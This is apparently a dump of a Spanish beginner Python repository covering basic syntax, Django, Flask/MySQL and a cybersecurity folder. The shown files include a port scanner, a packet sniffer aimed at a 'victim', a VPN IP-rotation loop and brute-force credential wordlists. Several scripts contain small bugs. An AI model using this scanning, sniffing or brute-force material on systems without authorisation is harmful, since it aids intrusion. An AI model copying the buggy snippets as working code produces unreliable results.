├── 03_Django_Framework ├── db.sqlite3 ├── proyecto1 │ ├── __init__.py │ ├── __pycache__ │ │ ├── urls.cpython-310.pyc │ │ ├── views.cpython-310.pyc │ │ ├── wsgi.cpython-310.pyc │ │ ├── __init__.cpython-310.pyc │ │ └── settings.cpython-310.pyc │ ├── wsgi.py │ ├── plantillas │ │ ├── conestilos.html │ │ ├── otra.html │ │ ├── barra.html │ │ └── miplantilla.html │ ├── urls.py │ ├── views.py │ └── settings.py ├── DjangoInstalacion.pptx ├── manage.py └── readme.md ├── 05_Ciberseguridad_Python ├── Forense │ ├── archivo_prueba.txt │ ├── 01_Yara_Caracteres_En_Archivo.py │ ├── 02_Pefile_Encuentra_Librerias_En_Ejecutable.py │ ├── 07_Copia_Disco_Duro.py │ ├── 08_Grabar_Microfono_Windows.py │ ├── 06_Extraer_Info_Android.py │ ├── 05_Extraer_Info_Mac.py │ ├── 10_Grabar_Microfono_Pantalla_Camara_Ubicacion.py │ ├── 04_Extraer_Info_Linux.py │ └── 09_Grabar_Microfono_Windows_Regulable_DB.py ├── Encriptaciones │ ├── Esteganografia │ │ ├── Texto_a_guardar.txt │ │ ├── imagen_base.jpg │ │ ├── imagen_base.png │ │ ├── 02_ZipFile_Esteganografia_desencriptacion.py │ │ ├── 01_Piexif_Esteganografia_desencriptacion.py │ │ ├── 02_ZipFile_Esteganografia_encriptacion.py │ │ ├── 01_Piexif_Esteganografia_encriptacion.py │ │ ├── 03_Piexif_Fernet_Esteganografia_desencriptacion.py │ │ ├── 04_ZipFile_Fernet_Esteganografia_desencriptacion.py │ │ ├── 04_ZipFile_Fernet_Esteganografia_encriptacion.py │ │ └── 03_Piexif_Fernet_Esteganografia_encriptacion.py │ ├── 02_Acortar_link.py │ ├── 01_Crear_qr.py │ ├── 04_QrWifi.py │ ├── 03_VPN_con_python.py │ ├── 05_CreacionContraseña.py │ ├── 07_Encriptacion_texto_fernet.py │ ├── 08_Encriptacion_archivo_fernet.py │ ├── 09_Clave_Morse.py │ └── 06_Encriptacion_texto_haslib.py ├── Fuerza_bruta │ ├── password.txt │ ├── usuario.txt │ ├── 01_FuerzaBruta_Contraseñas.py │ ├── 03_FuerzaBruta_Diccionario_EJ_2.py │ ├── 02_FuerzaBruta_Diccionario_Contraseñas.py │ └── 04_FuerzaBruta_mechanize.py ├── Relacionado_a_IP │ ├── 02_Convertir_domino_enip.py │ ├── 03_Convertir_ip_endominio.py │ ├── 01_Obtener_direccion_iplocal.py │ ├── 04_Mostrar_geolocalizacion_ip.py │ ├── 07_Prueba_Velocidad_Internet.py │ ├── 06_Distancia_con_geolocalizacion.py │ └── 05_Mostrar_geolocalizacion_sitio.py ├── Escaneos │ ├── 06_Scapy_Sniff.py │ ├── 01_Escaneo_de_puertos.py │ ├── 05_Scapy_PING_Url.py │ ├── 03_Paramiko_ejemplo.py │ ├── 08_Psutil_Detectar_Usb.py │ ├── 04_Scapy_PING_IP.py │ ├── 02_Nmap_ejemplo.py │ └── 07_Scapy_IDS.py ├── Radio_frecuencias │ ├── 14_Emisor_Sonido_Frecuencia_NoAudible.py │ ├── 04_Sniffer_Bluetooth_Pyrtlsdr.py │ ├── No_Se_Han_Probado │ │ └── 16_Escoger_bluetooth_Enviar_Texto.py │ ├── 08_Graficador_General_Señales.py │ ├── 13_Bleak_Info_Bluetooth.py │ ├── 09_Graficador_Potencias_Electromagneticas_Pyrtlsdr.py │ ├── 01_Receptor_Sencillo_Radio_Pyrtlsdr.py │ ├── 03_Analisador_Espectro_Pyrtlsdr.py │ ├── 15_Convertir_Sonido_Frecuencias_Diferente.py │ ├── 02_Decodificador_RadioFM_Pyrtlsdr_.py │ ├── 10_Radar_Distancia_Celulares.py │ ├── 05_Radar_Distancia_Wifi.py │ ├── 06_Radar_Distancia_Bluetooth.py │ ├── 12_Bleak_Escaner_GPS.py │ ├── 17_Radar_WIFI_Mejorado_Automatico.py │ ├── 18_Listado_Dispositivos_WIFI.py │ ├── 11_Bleak_Escaner_Bluetooth.py │ ├── 16_Radar_Bluetooth_Mejorado_Automatico.py │ └── 07_Inhibidor_Señales_ElectroMagnetismo_SoapySDR.py └── Ataques_de_intrusion │ ├── 01_Paramiko_ejemplo_ssh.py │ ├── 03_Scapy_DenegacionDeServiciosDOS.py │ ├── 04_Socket_DenegacionDeServiciosDOS.py │ ├── 02_Keylogger.py │ ├── 07_DenegacionDeServicio_Web.py │ ├── 06_Pynput_Keylogger_Fecha_Hora.py │ ├── 05_Shutil_Exfiltracion_usb.py │ └── 08_DenegacionDeServicios_TCP_ICMP_FTP_SMTP.py ├── 01_Codigo_Basico_Python ├── 12_Matrices_Con_Python.py ├── 08_Funcion_Filtro.py ├── 01_bucle.py ├── 07_Funciones_Resumidas.py ├── 09_Funcion_map.py ├── 13_Barra_De_Proceso.py ├── 04_condicionales.py ├── 11_Listas_2.py ├── 05_decorador.py ├── 06_diccionario.py ├── 03_clases.py ├── 16_Calendario.py ├── 10_listas.py ├── 15_Corrector_OrtografiaIngles.py ├── 14_Codigo_De_Barras.py └── 02_cadenas.py ├── 04_CRUD_Python_MySql ├── static │ ├── css │ │ └── main.css │ └── js │ │ └── main.js ├── templates │ ├── editarcontacto.html │ ├── layout.html │ └── index.html ├── README.md └── app.py ├── 02_Ejemplos_Librerias ├── 03_Alarma.py ├── 04_Selenium_ejemplo.py ├── 12_Img2Pdf.py ├── 14_Schemdraw_Electronica.py ├── 24_Convertir_PY_SH.py ├── 09_Sympy_ejemplo_DerivadaIntegral.py ├── 07_Pubchempy_ejemplo.py ├── 11_CountryInfo_DatosPais.py ├── 10_Turtle_ejemplo_flor.py ├── 06_PyAutoGUI_ejemplo_2.py ├── 01_descargar_video_youtube.py ├── 16_Dashboard_dash.py ├── 13_Numpy_Matplot_ejemplo.py ├── 02_Pdf_crea_audiolibro.py ├── 21_Requests_Github_Dejar_De_Seguir.py ├── 18_Cookies.py ├── 05_PyAutoGUI_ejemplo.py ├── 23_Instagrapi_Instagram_Dejar_De_Seguir.py ├── 20_Requests_Github_Quien_NoMe_Sigue.py ├── 17_Captcha.py ├── 22_Instagrapi_Instagram_Obtener_SeguidosSeguidores.py ├── 25_Requests_Ver_Correos_Github_Seguidos.py ├── 08_Chat_Bot.py └── 19_Requests_Guardar_datos_de_usuario_web.py └── README.md /03_Django_Framework/db.sqlite3: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /03_Django_Framework/proyecto1/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /05_Ciberseguridad_Python/Forense/archivo_prueba.txt: -------------------------------------------------------------------------------- 1 | Este Archivo dice: Hola Mundo -------------------------------------------------------------------------------- /05_Ciberseguridad_Python/Encriptaciones/Esteganografia/Texto_a_guardar.txt: -------------------------------------------------------------------------------- 1 | Aqui va la informacion que se va a esconder dentro de la imagen 2 | -------------------------------------------------------------------------------- /03_Django_Framework/DjangoInstalacion.pptx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/guevaraStian/Proyectos_Python/HEAD/03_Django_Framework/DjangoInstalacion.pptx -------------------------------------------------------------------------------- /01_Codigo_Basico_Python/12_Matrices_Con_Python.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/guevaraStian/Proyectos_Python/HEAD/01_Codigo_Basico_Python/12_Matrices_Con_Python.py -------------------------------------------------------------------------------- /03_Django_Framework/proyecto1/__pycache__/urls.cpython-310.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/guevaraStian/Proyectos_Python/HEAD/03_Django_Framework/proyecto1/__pycache__/urls.cpython-310.pyc -------------------------------------------------------------------------------- /03_Django_Framework/proyecto1/__pycache__/views.cpython-310.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/guevaraStian/Proyectos_Python/HEAD/03_Django_Framework/proyecto1/__pycache__/views.cpython-310.pyc -------------------------------------------------------------------------------- /03_Django_Framework/proyecto1/__pycache__/wsgi.cpython-310.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/guevaraStian/Proyectos_Python/HEAD/03_Django_Framework/proyecto1/__pycache__/wsgi.cpython-310.pyc -------------------------------------------------------------------------------- /03_Django_Framework/proyecto1/__pycache__/__init__.cpython-310.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/guevaraStian/Proyectos_Python/HEAD/03_Django_Framework/proyecto1/__pycache__/__init__.cpython-310.pyc -------------------------------------------------------------------------------- /03_Django_Framework/proyecto1/__pycache__/settings.cpython-310.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/guevaraStian/Proyectos_Python/HEAD/03_Django_Framework/proyecto1/__pycache__/settings.cpython-310.pyc -------------------------------------------------------------------------------- /05_Ciberseguridad_Python/Encriptaciones/Esteganografia/imagen_base.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/guevaraStian/Proyectos_Python/HEAD/05_Ciberseguridad_Python/Encriptaciones/Esteganografia/imagen_base.jpg -------------------------------------------------------------------------------- /05_Ciberseguridad_Python/Encriptaciones/Esteganografia/imagen_base.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/guevaraStian/Proyectos_Python/HEAD/05_Ciberseguridad_Python/Encriptaciones/Esteganografia/imagen_base.png -------------------------------------------------------------------------------- /01_Codigo_Basico_Python/08_Funcion_Filtro.py: -------------------------------------------------------------------------------- 1 | # Esta funcion, nos muestra los numeros mayores que 0 2 | def filtro (elem): 3 | return (elem >0) 4 | 5 | l=[1,-3,2,-7,-8,9,10] 6 | lr = filter(filtro,l) 7 | 8 | print (l) 9 | print (lr) -------------------------------------------------------------------------------- /01_Codigo_Basico_Python/01_bucle.py: -------------------------------------------------------------------------------- 1 | # Se declara la edad y se crea un bucle donde solo para cuando llega a 7 2 | edad =0 3 | while edad <=10: 4 | if edad == 7 : 5 | break 6 | print ("tienes: "+ str(edad)) 7 | edad = edad +1 8 | 9 | -------------------------------------------------------------------------------- /05_Ciberseguridad_Python/Fuerza_bruta/password.txt: -------------------------------------------------------------------------------- 1 | user 2 | admin 3 | suscribete 4 | youtube 5 | hola 6 | pepe 7 | juan 8 | emersoncrp 9 | password 10 | 1234 11 | 12345678 12 | hola 13 | 2023 14 | 202020 15 | admin 16 | password -------------------------------------------------------------------------------- /05_Ciberseguridad_Python/Fuerza_bruta/usuario.txt: -------------------------------------------------------------------------------- 1 | user 2 | admin 3 | suscribete 4 | youtube 5 | hola 6 | pepe 7 | juan 8 | emersoncrp 9 | password 10 | 1234 11 | 12345678 12 | hola 13 | 2023 14 | 202020 15 | admin 16 | password -------------------------------------------------------------------------------- /01_Codigo_Basico_Python/07_Funciones_Resumidas.py: -------------------------------------------------------------------------------- 1 | # Este programa nos muestra, funciones sencillas 2 | li =[1,-2,1,-4] 3 | lo = [5,3,6,7] 4 | s = "Hoola mundo" 5 | 6 | print (map(lambda n,m: n+m , li,lo)) 7 | print (filter(lambda n: n=='o' , s)) -------------------------------------------------------------------------------- /05_Ciberseguridad_Python/Encriptaciones/02_Acortar_link.py: -------------------------------------------------------------------------------- 1 | # Primero se instala pyshorteners con el siguiente comando "pip install pyshorteners" 2 | import pyshorteners 3 | # Agregamos el enlace 4 | link='https://github.com/guevaraStian' 5 | # Mostramos el enalce acortado 6 | print(pyshorteners.Shortener().clckru.short(link)) 7 | 8 | -------------------------------------------------------------------------------- /04_CRUD_Python_MySql/static/css/main.css: -------------------------------------------------------------------------------- 1 | body{ 2 | background: #2c3e50; /* fallback for old browsers */ 3 | background: -webkit-linear-gradient(to right, #3498db, #2c3e50); /* Chrome 10-25, Safari 5.1-6 */ 4 | background: linear-gradient(to right, #3498db, #2c3e50); /* W3C, IE 10+/ Edge, Firefox 16+, Chrome 26+, Opera 12+, Safari 7+ */ 5 | } -------------------------------------------------------------------------------- /01_Codigo_Basico_Python/09_Funcion_map.py: -------------------------------------------------------------------------------- 1 | # Se crea funcion y se ejecuta imprimiento en pantalla informacion 2 | 3 | def operador (n,m): 4 | if n==None or m == none: 5 | return 0 6 | return n+m 7 | 8 | s1 = "Holaa" 9 | s2 = "mundo" 10 | 11 | lr= map(operador,s1,s2) # llama la operacion operador,insertando los datos s1 y s2 12 | 13 | print (lr) -------------------------------------------------------------------------------- /01_Codigo_Basico_Python/13_Barra_De_Proceso.py: -------------------------------------------------------------------------------- 1 | # Primero se instala wifiqrcode con el siguiente comando "pip install tqdm" 2 | from tqdm import tqdm_notebook as tqdm 3 | import time 4 | 5 | # Con el siguiente codigo, se crea la barra de progreso que poco a poco se llena 6 | for i in tqdm(range(20)): 7 | print(i) 8 | 9 | 10 | 11 | 12 | 13 | 14 | -------------------------------------------------------------------------------- /01_Codigo_Basico_Python/04_condicionales.py: -------------------------------------------------------------------------------- 1 | # El siguiente programa es un ejemplo sencillo de condicionales SI 2 | edad = 102 3 | 4 | 5 | if edad >= 0 and edad < 18: 6 | print ('eres un niño') 7 | elif edad >=18 and edad <27 : 8 | print ('Eres un joven') 9 | elif edad >=27 and edad < 60: 10 | print ('eres un adulto') 11 | else : 12 | print ('eres de la tercera edad') -------------------------------------------------------------------------------- /01_Codigo_Basico_Python/11_Listas_2.py: -------------------------------------------------------------------------------- 1 | # Se crean 2 listas diferentes, uno con numeros y el otro con letras 2 | l = [1,2,3,4] 3 | s = ["H","O","L","A"] 4 | 5 | #Se crea un doble for, con un if adentro, para recorrer las listas eh imprimir cada parte de la lista 6 | l2 =[c*num for c in s 7 | for num in l 8 | if num> 0] 9 | 10 | print (l) 11 | print (l2) -------------------------------------------------------------------------------- /04_CRUD_Python_MySql/static/js/main.js: -------------------------------------------------------------------------------- 1 | const btnDelete = document.querySelectorAll('.btn-delete') 2 | 3 | if(btnDelete){ 4 | const btnArray = Array.from(btnDelete); 5 | btnArray.forEach((btn)=>{ 6 | btn.addEventListener('click', (e)=>{ 7 | if(!confirm('Desea eliminar el dato de la base de datos?')){ 8 | e.preventDefault(); 9 | } 10 | }); 11 | }); 12 | } -------------------------------------------------------------------------------- /05_Ciberseguridad_Python/Encriptaciones/01_Crear_qr.py: -------------------------------------------------------------------------------- 1 | # Primero se instala qrcode con el siguiente comando "pip install qrcode" 2 | import qrcode 3 | 4 | #Se solicita la informacion y se crea la variable con el nombre del archivo 5 | contenido = input("Por favor ingrese la informacion del QR: ") 6 | nombre_archivo = "qr.png" 7 | 8 | #Usando el make de qrcode se guarda 9 | img = qrcode.make(contenido) 10 | img.save(nombre_archivo) 11 | 12 | -------------------------------------------------------------------------------- /02_Ejemplos_Librerias/03_Alarma.py: -------------------------------------------------------------------------------- 1 | # Primero se instala datetime con el siguiente comando "pip install datetime" 2 | from datetime import datetime 3 | import os 4 | while True: 5 | a = datetime.now() 6 | # se selecciona la hora y luego se agrega el audio que va a sonar 7 | if a.hour==4: 8 | os.popen2('/usr/bin/totem --play /usr/share/sounds/') 9 | # se selecciona la hora y luego se agrega el audio que va a sonar 10 | break 11 | 12 | -------------------------------------------------------------------------------- /03_Django_Framework/proyecto1/wsgi.py: -------------------------------------------------------------------------------- 1 | """ 2 | WSGI config for proyecto1 project. 3 | 4 | It exposes the WSGI callable as a module-level variable named ``application``. 5 | 6 | For more information on this file, see 7 | https://docs.djangoproject.com/en/2.1/howto/deployment/wsgi/ 8 | """ 9 | 10 | import os 11 | 12 | from django.core.wsgi import get_wsgi_application 13 | 14 | os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'proyecto1.settings') 15 | 16 | application = get_wsgi_application() 17 | -------------------------------------------------------------------------------- /02_Ejemplos_Librerias/04_Selenium_ejemplo.py: -------------------------------------------------------------------------------- 1 | # Primero se instala selenium con el siguiente comando "pip install selenium" 2 | from selenium import webdriver 3 | from selenium.webdriver.common.by import By 4 | from selenium.webdriver.common.keys import Keys 5 | import time 6 | 7 | driver = webdriver.Chrome() 8 | driver.get("https://www.google.com/") 9 | 10 | web_element = driver.find_element(By.NAME, 'q') 11 | web_element.send_keys("Selenium Webdriver"+ Keys.ENTER) 12 | 13 | time.sleep(30) 14 | 15 | -------------------------------------------------------------------------------- /05_Ciberseguridad_Python/Relacionado_a_IP/02_Convertir_domino_enip.py: -------------------------------------------------------------------------------- 1 | # Primero se instala socket con el siguiente comando "pip install socket" 2 | import socket 3 | 4 | #Escogemos el dominio al que le vamos a ver la ip 5 | dominio = input("Por favor, la direccion url o ip de la pagina web (ej: www.google.com) : ") 6 | 7 | # dominio = 'www.google.com' 8 | print (dominio) #mostramos el nombre del dominio 9 | print (socket.gethostbyname(dominio)) #mostramos la ip publica del dominio 10 | 11 | 12 | 13 | 14 | -------------------------------------------------------------------------------- /05_Ciberseguridad_Python/Relacionado_a_IP/03_Convertir_ip_endominio.py: -------------------------------------------------------------------------------- 1 | # Primero se instala socket con el siguiente comando "pip install socket" 2 | import socket 3 | 4 | #Escogemos la ip publica a la que le veremos el dominio junto a un puerto abierto 5 | ippublica = input("Por favor, la direccion ip de la pagina web (ej: 8.8.8.8) : ") 6 | 7 | ippublica_conpuerto = ("ippublica", 80) 8 | Info = socket.getnameinfo(ippublica_conpuerto, 0) #hayamos la ip publica 9 | print(Info) #se muestra la informacion 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /05_Ciberseguridad_Python/Encriptaciones/04_QrWifi.py: -------------------------------------------------------------------------------- 1 | # Primero se instala wifiqrcode con el siguiente comando "pip install wifi-qrcode-generator" 2 | from wifi_qrcode_generator import wifi_qrcode 3 | 4 | # Con esta libreria, se crea el codigo qr y dentro de el codigo la informacion de la conexion a wifi 5 | Codigo_qr = wifi_qrcode("nombre_de_wifi", hidden=False, authentication_type="WPA", password="Contraseña_wifi") 6 | Imagen_qr = Codigo_qr.make_image() 7 | Imagen_qr.save("wifi_qr_code.png") 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | -------------------------------------------------------------------------------- /01_Codigo_Basico_Python/05_decorador.py: -------------------------------------------------------------------------------- 1 | # Un decorador es una funcion que recibe datos de otra funcion 2 | loggeado = False 3 | usuario = "CodigoFacilito" 4 | 5 | def admin(f): 6 | def comprobar(*args,**kwargs): 7 | if loggeado: 8 | f(*args,**kwargs) 9 | else: 10 | print ("No tiene permiso de ejecutar") 11 | return comprobar 12 | 13 | 14 | def decorador(funcion): 15 | def funcionDecorada(*args,**kwargs): 16 | print ("funcion ejecutada ", funcion.__name__) 17 | funcion(*args,**kwargs) 18 | return funcionDecorada 19 | 20 | @decorador 21 | def resta(n,m): 22 | print (n-m) 23 | 24 | resta(3,5) -------------------------------------------------------------------------------- /03_Django_Framework/manage.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | import os 3 | import sys 4 | 5 | if __name__ == '__main__': 6 | os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'proyecto1.settings') 7 | try: 8 | from django.core.management import execute_from_command_line 9 | except ImportError as exc: 10 | raise ImportError( 11 | "Couldn't import Django. Are you sure it's installed and " 12 | "available on your PYTHONPATH environment variable? Did you " 13 | "forget to activate a virtual environment?" 14 | ) from exc 15 | execute_from_command_line(sys.argv) 16 | -------------------------------------------------------------------------------- /02_Ejemplos_Librerias/12_Img2Pdf.py: -------------------------------------------------------------------------------- 1 | # Primero se instala img2pdf con el siguiente comando "pip install img2pdf" 2 | # Luego de bajar librerias, las importamos 3 | import img2pdf 4 | 5 | # En la siguiente linea se guarda y se convierte la imagen en bytes 6 | with open("imagen.png", "rb") as image: 7 | pdf_bytes = img2pdf.convert(image.read()) 8 | 9 | # Se crea el documento pdf en este caso con la imagen en su contenido 10 | with open("documento.pdf", "wb") as pdf: 11 | pdf.write(pdf_bytes) 12 | 13 | # Si el proceso se realizo, se imprime en pantalla 14 | print("La imagen se convirtio en pdf!!") 15 | 16 | 17 | 18 | 19 | -------------------------------------------------------------------------------- /05_Ciberseguridad_Python/Escaneos/06_Scapy_Sniff.py: -------------------------------------------------------------------------------- 1 | from scapy.all import IP, sniff 2 | 3 | # Se guarda en una variable la interface que se va a validar en la victima 4 | interface = "eth0" 5 | 6 | # Se crea la funcion que realiza el sniff por paquetes cuando le indican una ip 7 | def print_packet(packet): 8 | ip_layer = packet.getlayer(IP) 9 | print("[!] New packet: {src} -> {dst}".format(src=ip_layer.src, dst=ip_layer.dst)) 10 | 11 | 12 | # se ejecuta la funcion y se imprime en pantalla informacion 13 | print("Empieza a sniffing..") 14 | sniff(iface=interface, filter="ip", prn=print_packet) 15 | print("Para la sniffing") 16 | 17 | 18 | -------------------------------------------------------------------------------- /03_Django_Framework/proyecto1/plantillas/conestilos.html: -------------------------------------------------------------------------------- 1 | {% extends "barra.html" %} {% block content %} 2 | 3 | 17 | 18 | {% endblock %} 19 | -------------------------------------------------------------------------------- /01_Codigo_Basico_Python/06_diccionario.py: -------------------------------------------------------------------------------- 1 | # Este software crea un diccionario con diferente informacion dentro y nos muesta como imprimir en pantalla cierta informacion 2 | diccionario = { 3 | "redes_sociales": ["twitter","Facebook","linkedin"], 3: "tres","hola":"mundo" 4 | } 5 | print (diccionario) 6 | print (diccionario.values()) #Encontrar valores dentro de todas las llaves 7 | print (diccionario.pop(3)) #Encontrar valores dentro de la llave 3 8 | print (diccionario.clear()) #Eliminar llaves y valores dentro de diccionario 9 | diccionario["clave_nueva"] = "valor" #Agrega llave "clave_nueva"con el valor "valor" 10 | diccionario2 = diccionario.copy() 11 | print (diccionario) -------------------------------------------------------------------------------- /01_Codigo_Basico_Python/03_clases.py: -------------------------------------------------------------------------------- 1 | # Se crena clases que solicitaran 1 dato de entrada para mostrar la informacion final 2 | class humano: 3 | def __init__(self,edad): 4 | self.edad = edad 5 | 6 | def hablar(self, mensaje): 7 | print (mensaje) 8 | 9 | class ingsistemas(humano): 10 | def programar(self, lenguaje): 11 | print ('voy a programar en ', lenguaje) 12 | 13 | class derecho(humano): 14 | def estudiarcaso(self, de): 15 | print ('Debo estudiar el caso de ', de) 16 | 17 | class estudioso(ingsistemas,derecho): 18 | pass 19 | 20 | pedro = ingsistemas(26) 21 | raul = derecho(30) 22 | 23 | #Se invoca la funcion con una variable de ingreso 24 | pedro.programar('python') 25 | raul.estudiarcaso('Pedro') -------------------------------------------------------------------------------- /05_Ciberseguridad_Python/Escaneos/01_Escaneo_de_puertos.py: -------------------------------------------------------------------------------- 1 | # Primero se instala socket con el siguiente comando "pip install socket" 2 | import socket 3 | 4 | def escanear_puerto(ip, puerto): 5 | try: 6 | sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 7 | sock.settimeout(1) 8 | resultado = sock.connect_ex((ip, puerto)) 9 | if resultado == 0: 10 | print(f"Puerto {puerto} abierto en {ip}") 11 | sock.close() 12 | except socket.error: 13 | print(f"Error al escanear el puero {puerto} en {ip}") 14 | 15 | ip_destino= "localhost" 16 | puertos = [80, 443, 22, 3389] 17 | 18 | for puerto in puertos: 19 | escanear_puerto(ip_destino, puerto) 20 | 21 | -------------------------------------------------------------------------------- /05_Ciberseguridad_Python/Escaneos/05_Scapy_PING_Url.py: -------------------------------------------------------------------------------- 1 | from scapy.all import IP, ICMP, sr1 2 | 3 | def ping(host): 4 | # Se guarda en una variable la respuesta, de un icmp a un host o url 5 | packet = IP(dst=host)/ICMP() 6 | # Se guarda en una variable la repuesta de un sr1 con sus variables asignadas 7 | response = sr1(packet, timeout=2, verbase=0) 8 | # Si dio respuesta el ping entonces da una respuesta y si no, da otra 9 | if response: 10 | return f"{host} Esta en linea" 11 | else: 12 | return f"{host} No esta en linea" 13 | 14 | url = input("Por favor, la direccion url de la pagina web (ej: www.google.com) : ") 15 | # url = "www.google.com" 16 | result = ping(url) 17 | print(result) 18 | 19 | -------------------------------------------------------------------------------- /05_Ciberseguridad_Python/Relacionado_a_IP/01_Obtener_direccion_iplocal.py: -------------------------------------------------------------------------------- 1 | # Primero se instala socket con el siguiente comando "pip install socket" 2 | #Primero se instala platform con el siguiente comando "pip install platform" 3 | import socket 4 | import platform 5 | 6 | url_victima = input("Por favor, la direccion url o ip de la pagina web (ej: 8.8.8.8) : ") 7 | s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) 8 | s.connect((url_victima, 80)) 9 | 10 | print(s.getsockname()[0]) #Muestra en pantalla la IP privada del computador donde se ejecuta 11 | print(socket.gethostname()) #Muestra en pantalla el hostnme del computador donde se ejecuta 12 | print (platform.node()) #Muestra en pantalla el hostnme del computador donde se ejecuta 13 | 14 | -------------------------------------------------------------------------------- /02_Ejemplos_Librerias/14_Schemdraw_Electronica.py: -------------------------------------------------------------------------------- 1 | # Esta libreria ayudar a crear graficas de electronica 2 | # Primero se instala schemdraw con el siguiente comando "pip install schemdraw" 3 | 4 | import schemdraw 5 | import schemdraw.elements as elm 6 | 7 | 8 | # Se inicializa la libreria en la variable d 9 | d = schemdraw.Drawing() 10 | 11 | # Se crean los componentes que tendra la gafica 12 | v = d.add(elm.SourceV().label('V', loc='left')) 13 | r = d.add(elm.Resistor().label('R').right()) 14 | c = d.add(elm.Capacitor().label('C').right()) 15 | l = d.add(elm.Inductor().label('L').right()) 16 | 17 | # Se crea la grafica 18 | d.add(elm.Ground().at(v.start)) 19 | d.add(elm.Ground().at(v.end)) 20 | d.draw() 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | -------------------------------------------------------------------------------- /02_Ejemplos_Librerias/24_Convertir_PY_SH.py: -------------------------------------------------------------------------------- 1 | # En este programa se muestra un codigo para dejar de seguir usuarios en instagram 2 | # Se usaran 2 librerias os y instagrapi 3 | # Primero se instala captcha con el siguiente comando "pip install instagrapi" 4 | # archivo: generar_sh.py 5 | 6 | nombre_script_py = "script.py" 7 | nombre_script_sh = "ejecutar_script.sh" 8 | 9 | contenido_sh = f"""#!/bin/bash 10 | # Script generado automáticamente 11 | python3 {nombre_script_py} 12 | """ 13 | 14 | with open(nombre_script_sh, 'w') as archivo_sh: 15 | archivo_sh.write(contenido_sh) 16 | 17 | # Hacer el archivo .sh ejecutable 18 | import os 19 | os.chmod(nombre_script_sh, 0o755) 20 | 21 | print(f"Archivo '{nombre_script_sh}' creado y listo para ejecutar '{nombre_script_py}'.") -------------------------------------------------------------------------------- /01_Codigo_Basico_Python/16_Calendario.py: -------------------------------------------------------------------------------- 1 | # Primero se instala calendar con el siguiente comando "pip install calendar" 2 | # Luego de bajar librerias, las importamos 3 | import calendar 4 | 5 | # En la siguiente linea se cre la funcion 6 | def display_calendar(): 7 | #Se guardan las variables de año y mes 8 | año= int(input("Enter year: ")) 9 | mes = int(input("Enter month (1-12): ")) 10 | #Se crea la variable con la configuracion del calendario hasta domingo 11 | calen = calendar.TextCalendar(calendar.SUNDAY) 12 | #se le ingresa el año y el mes del calendario que se quiere mostrar en pantalla 13 | mes_calendario = calen.formatmonth(año, mes) 14 | # Se muestra en pantalla el calendario 15 | print(mes_calendario) 16 | display_calendar() 17 | 18 | 19 | -------------------------------------------------------------------------------- /05_Ciberseguridad_Python/Encriptaciones/03_VPN_con_python.py: -------------------------------------------------------------------------------- 1 | # Primero se instala datetime con el siguiente comando "pip install datetime" 2 | #Primero se instala os con el siguiente comando "pip install os" 3 | import os 4 | from time import sleep 5 | import random 6 | 7 | ListaDeCodigos= ["TR", "US","DE", "NL", "CH","CA-W", "GB"] 8 | 9 | #Por medio de la libreria de sistema operativo, se reconecta a internet con una ip diferente 10 | try: 11 | os.system("windscribe connect") 12 | while True: 13 | CambioCodigo = random.choice(ListaDeCodigos) 14 | sleep(random.randrange(12,30)) 15 | print("#Cambiando la direccion ip...") 16 | os.system("windscribe connect "+ CambioCodigo) 17 | except: 18 | os.system("windscribe disconnect") 19 | print("Error...") -------------------------------------------------------------------------------- /02_Ejemplos_Librerias/09_Sympy_ejemplo_DerivadaIntegral.py: -------------------------------------------------------------------------------- 1 | # Primero se instala sympy con el siguiente comando "pip install sympy" 2 | # Luego de bajar librerias, las importamos 3 | from sympy import * 4 | 5 | # La variable con el simbolo x 6 | x = Symbol('x') 7 | 8 | # Se le pide la funcion al usuario del software 9 | func = input("Por favor ingrese la funcion: ") 10 | 11 | # Se le aplican diferentes operaciones a la funcion ingresada 12 | derivada = diff(func, x) 13 | derivada_2 = Derivative(func, x, evaluate = true) 14 | limite = limit(func , x, 0) 15 | integrada = integrate(func, x) 16 | solucion = solve(func, x) 17 | 18 | # Con este codigo se imprime cada solucion empleada 19 | print(derivada) 20 | print(derivada_2) 21 | print(limite) 22 | print(integrada) 23 | print(solucion) 24 | 25 | 26 | 27 | 28 | 29 | -------------------------------------------------------------------------------- /05_Ciberseguridad_Python/Radio_frecuencias/14_Emisor_Sonido_Frecuencia_NoAudible.py: -------------------------------------------------------------------------------- 1 | import numpy as np 2 | import sounddevice as sd 3 | 4 | # Parámetros del sonido 5 | frecuencia = 25000 # Frecuencia en Hz (ultrasonido) 6 | duracion = 5 # Duración de un ciclo base 7 | fs = 48000 # Frecuencia de muestreo 8 | 9 | # Crear onda base 10 | t = np.linspace(0, duracion, int(fs * duracion), endpoint=False) 11 | onda = np.sin(2 * np.pi * frecuencia * t) 12 | 13 | # Normalizar para 16 bits 14 | onda = np.int16(onda * 32767) 15 | 16 | print("Reproduciendo ultrasonido en bucle. Presiona Ctrl+C para detener...") 17 | 18 | try: 19 | while True: 20 | sd.play(onda, fs) 21 | sd.wait() # Espera a que termine antes de repetir 22 | except KeyboardInterrupt: 23 | print("\nReproducción detenida.") 24 | -------------------------------------------------------------------------------- /01_Codigo_Basico_Python/10_listas.py: -------------------------------------------------------------------------------- 1 | # Se crean las variables con listas en su interior 2 | lista = [1,"dos",3] 3 | lista2 = [1,2,3,4] 4 | buscar=3 5 | 6 | print (buscar in lista) #Para ver si la variable (buscar) esta en la lista 7 | print (lista.index(buscar)) #Para ver en que posicion esta la variable (buscar) en la lista 8 | lista.append("nuevo elemento") #agregar un nuevo elemento al final de la lista 9 | 